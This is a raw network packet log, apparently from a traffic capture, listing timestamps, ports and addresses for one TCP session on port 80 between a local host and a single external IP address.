Dec 18, 2024 21:30:17.048104048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.048329115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.048593998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.048789978 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.048803091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.050102949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.050164938 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.050314903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.051719904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.051974058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.052069902 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.052781105 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.053401947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.053627968 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.053771019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.055073023 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.055263996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.055327892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.056646109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.056802034 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.056917906 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.058096886 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.058172941 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.058250904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.059649944 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.059696913 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.059891939 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.061486959 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.061534882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.061615944 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.061867952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.062933922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.063124895 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.063200951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.064363003 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.064433098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.064523935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.064604998 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.065819025 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.065892935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.066133022 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.067286015 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.067332029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.067377090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.067490101 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.068718910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.068799973 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.068799973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.070244074 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.070265055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.070493937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.070552111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.071654081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.071710110 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.071826935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.072979927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.073118925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.073137045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.074203968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.074331999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.074572086 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.074683905 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.075798035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.076004028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.076039076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.076039076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.077251911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.077354908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.077486992 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.078511953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.078720093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.078911066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.080033064 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.080154896 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.080287933 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.081357002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.081463099 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.081501961 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.081551075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.082684994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.082792044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.082854986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.083940029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.084005117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.084121943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.084218025 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.085366011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.085519075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.085553885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.085553885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.086770058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.086903095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.087078094 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.088033915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.088130951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.088161945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.088206053 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.089418888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.089520931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.089584112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.090157986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.090734005 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.090850115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.090967894 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.091137886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.092181921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.092250109 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.092308044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.092644930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.093483925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.093539000 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.093776941 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.095027924 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.095118999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.095136881 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.096237898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.096371889 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.096451044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.096581936 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.096612930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.097784042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.097826958 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.098031044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.098126888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.099311113 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.099473953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.099627018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.100657940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.100827932 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.100914955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.100914955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.101934910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.102101088 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.102226019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.103218079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.103322983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.103359938 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.104022980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.104558945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.104630947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.104717016 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.104783058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.106167078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.106211901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.106246948 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.106352091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.107104063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.107151031 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.107285976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.107330084 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.108484030 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.108560085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.108632088 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.109775066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.109914064 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.109957933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.110174894 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.111268044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.111452103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.111534119 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.112561941 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.112682104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.112734079 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.113857985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.114042997 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.114114046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.115350962 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.115467072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.115542889 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.116695881 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.116812944 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.116889000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.118065119 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.118138075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.118236065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.119442940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.119498968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.119609118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.120635986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.120712996 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.120801926 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.122123957 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.122227907 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.122227907 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.241493940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.241615057 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.241667986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.241755009 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.242002964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.242120028 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.242207050 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.242647886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.242908955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.243067026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.243122101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.243932962 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.243982077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.244112015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.244189024 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.245044947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.245147943 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.245239019 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.245315075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.246196985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.246279001 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.246290922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.246531010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.247203112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.247319937 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.247363091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.247616053 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.248276949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.248377085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.248503923 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.248826981 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.249367952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.249500036 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.249532938 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.249576092 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.250448942 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.250574112 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.250633001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.250838995 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.251524925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.251638889 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.251720905 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.251812935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.252569914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.252762079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.252912998 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.253720999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.253884077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.253911018 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.253952980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.254748106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.254796982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.254899979 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.255054951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.255836964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.256027937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.256113052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.256113052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.256886005 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.256967068 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.257066011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.257250071 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.257985115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.258084059 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.258173943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.258236885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.259105921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.259165049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.259244919 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.259573936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.260137081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.260324955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.260363102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.260363102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.261207104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.261284113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.261351109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.261435032 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.262280941 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.262417078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.262450933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.262613058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.263369083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.263530016 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.263550043 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.263741970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.264427900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.264535904 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.264610052 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.264673948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.265513897 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.265552998 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.266087055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.266132116 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.266603947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.266649961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.266766071 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.266822100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.267661095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.267714977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.267847061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.267940998 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.268819094 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.268894911 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.268990040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.269102097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.269915104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.269972086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.270031929 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.270116091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.270952940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.271049023 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.271151066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.271197081 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.272002935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.272109985 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.272157907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.272324085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.273046970 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.273180008 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.273235083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.273274899 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.274152994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.274321079 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.274336100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.274419069 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.275207996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.275254011 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.275353909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.275681019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.276350021 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.276412010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.276545048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.276683092 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.277430058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.277581930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.277595043 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.277770042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.278450966 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.278532982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.278628111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.278851032 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.279526949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.279728889 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.279740095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.279928923 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.280584097 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.280683041 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.280720949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.280819893 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.281728029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.281862974 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.281891108 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.282390118 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.282721043 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.282802105 CET	49804	80	192.168.2.5	31.41.244.11
